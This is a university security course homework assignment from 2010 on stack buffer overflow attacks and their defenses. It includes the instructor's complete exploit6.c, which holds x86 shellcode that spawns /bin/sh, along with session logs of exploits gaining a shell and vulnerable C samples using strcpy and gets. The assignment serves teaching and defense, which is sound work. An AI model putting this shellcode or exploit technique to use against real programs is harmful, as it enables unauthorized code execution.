Homework #3
Buffer Overflow Attacks and Their Defenses

Goal:

• Understand basic buffer overlow technique
• Learn how to use gdb to anlayze the buffer overflow vulneability in program
• Learn the defenses against buffer overflow exploits

Assignment Date: 10/11/2010

Due Date: 11/1/2010 (modified)

Description

Part 1: Understanding "Smashing The Stack For Fun And Profit" by Elias Levy

• For part 1, we use rh72.csnet.uccs.edu (128.198.161.210) virtual machine which runs redhat 7.2 OS with compiler and OS similar (not exactly the same) to that used by Elias Levy in his paper. Your account is the same as that on viva.uccs.edu but with #a concatenated with SID (no dash) as password. Use SSH secure shell client to remote login and capture the session data.
• The programs mentioned in Elias' paper were created in the bufferOverflow directory.
• Exercise1.1. Repeat the exploit3/exploit4 on vulnerable. Report the return address and buffer size used.
  • You may observe output similar to the following:
    [chow@rh72 bufferOverflow]$ ./exploit3 612
    Using address: 0xbffffa98
    [chow@rh72 bufferOverflow]$ ./vulnerable $EGG
    Segmentation fault
    [chow@rh72 bufferOverflow]$ exit
    [chow@rh72 bufferOverflow]$ ./exploit3 612 306
    Using address: 0xbffff966
    [chow@rh72 bufferOverflow]$ ./exploit3 612 459
    Using address: 0xbffff67d
    [chow@rh72 bufferOverflow]$ ./vulnerable $EGG
    Segmentation fault
    [chow@rh72 bufferOverflow]$ exit
    exit
    [chow@rh72 bufferOverflow]$ ./exploit3 612 535
    Using address: 0xbffff631
    [chow@rh72 bufferOverflow]$ ./vulnerable $EGG
    Illegal instruction
    [chow@rh72 bufferOverflow]$ exit
    exit
    [chow@rh72 bufferOverflow]$ exit
    [chow@rh72 bufferOverflow]$ ./exploit3 612 535
    Using address: 0xbffff881
    [chow@rh72 bufferOverflow]$ ./vulnerable $EGG
    sh-2.05$
  • Question 1.1: Why the addresses reported by exploit3 keep descreasing from 0xbffffa98 to 0xbffff966, ..., then to 0xbffff881?
  • You need to adjust the size and offset to get the egg shell deployed using exploit3.
  • Explain why the addresses printed out are different in those runs and why we need to type EXIT.
  • For exploit4, you should get the shell right away with default offset and buffer size of 612.
    [cs591@rh72 src]$ ./exploit4 612
    Using address: 0xbffffab8
    [cs591@rh72 src]$ ./vulnerable $RET
    sh-2.05$
  • Copy the output on your screen as your deliverable of Exercise 1.1 (similar to the above).
• Exercise1.2. Given the following vul.c code, use existing exploit or create new exploit program, exploit5.c that can obtain the shell access.
  
  int function(char *buf) {
         int count;
         char url[512];
         strcpy(url, buf);
         printf("url=%s\n", url);
         return 0;
  }
  int main(int argc, char* argv[ ])
  {
         return function(argv[1]);
  }
  • Copy the output on your screen as your deliverable of Exercise 1.2.
• Exercise1.3. Given the following boaddr.c code, create an exploit6.c that can obtain the shell access.

  int main(int argc, char* argv[ ])
  {
       char a[256];
       gets( a );
       printf("a=%s\n", a);
       printf("&a=0x%x\n", &a);
  }
  
  [root@rh72 bufferOverflow]# ./boaddr
  GETS
  &a=0xbfffef50

  
  
  • Hint: gets() utilizes unix system call and it is different from simple strcpy. Check http://www.0xdeadbeef.info/code/gets-linux.c for the shell code to use.
  • Use the shell code and exploit3.c as a template for exploit6.c. Instead of usig putenv to save the payload. We need to print out the payload, since we going to pipe the payload as input to the boaddr program as demonstrate below:
    [root@rh72 bufferOverflow]# ./exploit6 0xbfffef50 | ./boaddr
    &a=0xbfffef50
    sh-2.05#
  • The above hint is a bad one and "misleading". A couple of reasons:
    • First, the exploit3.c takes buffer size and offset as parameter, not address as shown above. (my exploit6 program is simpler than that of the above approach but requires the knowledge of specific memory location of a).
    • Second, the exploit3 requires the guess of right offset, which requires some trials and errors to make it works.
  • You can use other exlpoit programs for solving the above problem. Show the command you used to exploit boaddr.
  • Here is how I construct my exploit6.c

  • #include <stdlib.h>
    #include <stdio.h>
    
    char sc[] =
    "\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
    "\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
    "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
    
    int main(int argc, char **argv)
    {
            char large_string[288];
            long *long_ptr = (long *) large_string;
            int i;
    
            for (i = 0; i < 72; i++)
            *(long_ptr + i) = (int) strtoul(argv[1], NULL, 16);
            for (i = 0; i < (int) strlen(sc); i++)
            large_string[i] = sc[i];
            printf("%s", large_string);
            return 0;
    }
    
      

  • I cheat by adding printf("&a=0x%x\n", &a); since I know the source code of boaddr.c. By compiling and executing boaddr, I know where the address of a will typically be.
  • The program reads in the memory location of a and ovewrites the bufffer (large_string) with those 4 byte addresses.
  • I then copy the shell code to the beginning of the payload without leading NOPs, since I assume the pipeline command with the process running ./boaddr will not change the context or the location of stack frame used by that process.
  • You can copy it from /home/chow/bufferOverflow/exploit6.
  • You reuse the above exploit6.c for your Exercise 1.3 deliverable. Save the sesssion where you demonstrate the exploit of boaddr as your deliverable for hw3.

• Answer the following questions

• Q1.2. Why Elias "wants the program to exit cleanly if the execve syscall fails"?
• Q1.3. Why movl $0xb, %eax is listed as a "problem instruction"?
  • Hint. Generate this 5 byte instruction either by compile a program with function unsigned long movl(void) { __asm__("movl $0xb,%eax"); } or assemble a assembly program with this instruction.
  • gcc -c movl.c -o movol.o
  • Use gdb to debug the program
    • gdb movl.o
  • Enter the following commands
    • (gdb) disassemble get_sp
      ...
      0x00000003 <get_sp+3>: mov $0xb,%eax
      ...
    • (gdb) x/gx get_sp+3 to display the 8 byte content including the 5 byte instruction. (note that it displays the content from right to left. you can use x/bx get_sp+3, +4, +5, +6, +7 to display each of the five bytes.
      
• Q1.4. Does the Open Source trend contribute more exploits or less?
• Q1.5. There existing a potential buffer overflow in the following code of htpasswd.c (apache 1.3 utility). Assume the user and cpw are entered by the user from the command line.

            strcpy(record, user);
  
            strcat(record, “:”);
  
            strcat(record,  cpw);

  1. Explain why the published fix below still have problem.

           strncpy(record, user, MAX_STRING_LEN-1);
     
           strcat(record, “:”);
     
           strncat(record,  cpw, MAX_STRING_LEN-1);

  2. How do you fix this vulnerability?

Part 2: Analyze and Defense Against Buffer Overflow Attacks.

Exercise 2.1:

• Use ssh to login walrus.
• cd public_html/cs591
• "cp ~cs591/public_html/bufferOverflow/src/test* ."
• See if your can execute "./testsc"
• Try to set flag that will not allow the execution of code in stack, then run "./testsc" again and observe what happens.
• Follow the steps in the page 18 of buffer overflow viewgraph.
• Document the differences in execution results of ./testsc when non-executable flag is set or clear.
• Include the session as part of your exercise 2.2 deliverables.

Answer the following questions:

• Q2.1. What is the right offset for exercise 2.1? Why it is different from example3.c in the Aleph's paper.
• Q2.2. One suggested defense for the buffer overflow problem is to swap the heap and stack memory allocation area and allocate the new stack with increasing address,
  • a. Prove that the above technique can solve the buffer overflow problems in programs such as vulnerable.c.
  • b. Prove that It does not solve all the buffer overflow problem. Hint provide a counter-example, a short example of code based on vulnerable.c that is still vulnerable.
    
• Q2.3. What are the new techniques that are implemented in new gcc 4.1 for protecting buffer overflow? (See class handout, IBM SSP site, and Safe builtins in GCC 4.1 wiki site.

Email me the above answers and session data you capture as your homework deliverable. You can also save the answer as a web page (hw2.html) or word document (hw2.doc) in your cs591 directory on walrus.uccs.edu and email me just the url.